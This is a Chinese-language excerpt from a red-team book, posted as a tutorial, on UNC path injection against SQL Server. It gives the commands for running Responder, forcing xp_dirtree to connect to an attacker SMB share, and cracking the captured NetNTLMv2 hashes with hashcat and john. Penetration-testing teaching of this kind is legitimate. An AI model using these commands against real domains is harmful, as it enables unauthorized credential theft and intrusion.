个人技术分享

点击星标,即时接收最新推文

ac3fb75a821b99b85206c15a00845711.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

  

UNC路径注入

如果我们能强制SQL服务器连接到我们控制的SMB共享,连接将会包含认证数据。更具体的来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务的账户的密码hash。然后我们可以尝试破解这个hash,或者进行hash转发攻击。

要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。该存储过程会列出指定路径下的所有文件,不仅是本地文件,也接受SMB共享作为目标。

如果我们低权限用户(比如上面的dev\dave)访问数据库并执行xp_dirtree存储过程,运行SQL服务的服务账户将会尝试列出指定SMB共享的内容。SMB共享通常使用Universal Naming Convention(UNC)路径提供,格式如下:

\\hostname\folder\file

如果hostname为IP地址,Windows将自动使用NTLM认证而不是Kerberos。在实际测试场景,如果xp_dirtree被移除,还有其他的一些存储过程也可以用来发起一个SMB共享访问请求,具体可参考:https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet

下面我们介绍具体的攻击过程。首先在kali上运行responder,-I指定使用的网卡,如果不想跳过先前捕获的hash,可以加上-v参数:

sudo responder -I eth0 -v

然后在域内主机,以普通域用户dev\dave,使用PowerUpSQL.ps1执行UNC路径注入,-CaptureIp为kali的IP:

Invoke-SQLUncPathInjection -Verbose  -CaptureIp 192.168.3.104

023004685afee6bfe21f106fcc4285b1.png

使用PowerUpSQL.ps1执行UNC路径注入

如果成功,我们将能在kali上捕获到运行SQL服务的账户的密码hash:

5b99287faeb1a3c1f785d695363c6fb3.png

responder捕获hash

Responder获得的hash是Net-NTLM或者NTLMv2 hash。当使用NTLM协议认证时,会基于NTLM hash创建挑战(challenge)和响应(response),产生的结果hash称为Net-NTLM。

我们可以使用hashcat进行破解。hashcat主要是利用GPU的能力,因为在虚拟机里面,我们使用--force参数。此外如果虚拟机的内存太小,也会报错:* Device #1: Not enough allocatable device memory for this attack.,此时可以尝试增加下虚拟机的内存,4G时可成功执行。将hash内容保存到hash.txt:

hashcat -m 5600 hash.txt Tools/pwd.txt --force

9b4a2bcc066e55f2749e5528edde8287.png

hashcat破解NTLMv2 hash

此外,也可以使用john进行爆破:

john --format=netntlmv2 hash.txt --wordlist=Tools/pwd.txt

16db6c5d70a20de519a0f423e58d7c8d.png

 john破解NTLMv2 hash

需要注意的是PowerUpSQL每次运行都会从github加载Inveigh,如果目标环境不出网,可能运行失败。我们可以修改脚本,从文件进行加载:

# Attempt to load Inveigh from file
$InveighSrc = Get-Content .\Inveigh.ps1 -ErrorAction SilentlyContinue
Invoke-Expression($InveighSrc)

此外,Invoke-SQLUncPathInjection命令会自动枚举域内的SQL server实例,然后对每个可访问的实例都会执行UNC路径注入。如果我们只想对单个SQL server实例进行UNC路径注入,可以使用另一个工具ESC,下载地址为https://github.com/NetSPI/ESC。这个工具第一次执行EXEC命令可能会失败,可以多执行一次。

首先使用discover发现域内存在的SQL server实例,然后使用set命令指定我们想要执行UNC路径注入的SQL实例,最后执行xp_dirtree存储过程:

discover domainspn 
set instance dev-dc01.dev.ms08067.cn      
EXEC master..xp_dirtree '\\192.168.3.104\test'

4fcbc89d6208ff9274d98d7fadbef328.png

使用ESC执行UNC路径注入

—  实验室旗下直播培训课程  —

1331414685cd97ad3403e9494b8f16cf.png

0868f6bd2842c2b58f4e9bdb5ca9e8b2.jpeg

f37942ed9ee027f6dcb84e3b65dd175f.jpeg815af80bff4b8ed4a13e9205a2a8df28.png

ce15d7f49443160777327d08242f0280.png

d6125d493e7838fb6c08bf07ef9c79d5.jpeg

298959e9b1f157e5de2d7228a0e8bb0f.jpeg

5aab44fc55f6b17e63773953d6a5ad17.jpeg

e519f10017170ed466ebbe09135059d3.png

和20000+位同学加入MS08067一起学习

93e5fb87752d99389cfc932660ec7b8c.gif